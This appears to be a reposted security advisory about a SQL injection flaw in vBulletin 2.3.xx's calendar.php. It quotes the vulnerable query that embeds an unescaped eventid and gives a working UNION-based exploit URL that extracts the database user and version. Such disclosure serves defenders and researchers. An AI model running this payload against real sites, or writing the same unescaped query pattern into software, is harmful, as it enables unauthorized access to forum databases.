欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

vBulletin Forum 2.3.xx SQL Injection

程序员文章站 2022-04-28 15:37:41
vbulletin forum 2.3.xx sql injection there...

vbulletin forum 2.3.xx sql injection there exist a sql injection problem in calendar.php.

-------- cut from line 585 in calendar.php ----------
else if ($action == "edit")
{
      $eventinfo = $db_site->query_first("select allowsmilies,public,userid,
eventdate,event,subject from calendar_events where eventid = $eventid");
-----------------------------------------------------

if the mysql version is greater than 4.00, a union attack could be used.

-----------------------------------------
http://ww.xxx.com/bbs/calendar.php?action=edit&eventid=12%20union%20(select%20allowsmilies,public,userid,'0000-0-0',user(),version()%20from%20calendar_ev
ents%20where%20eventid%20=%2013)%20order%20by%20eventdate
-----------------------------------------

the query_first function will only return the first row of the query result, so make sure it returns !
the one you want.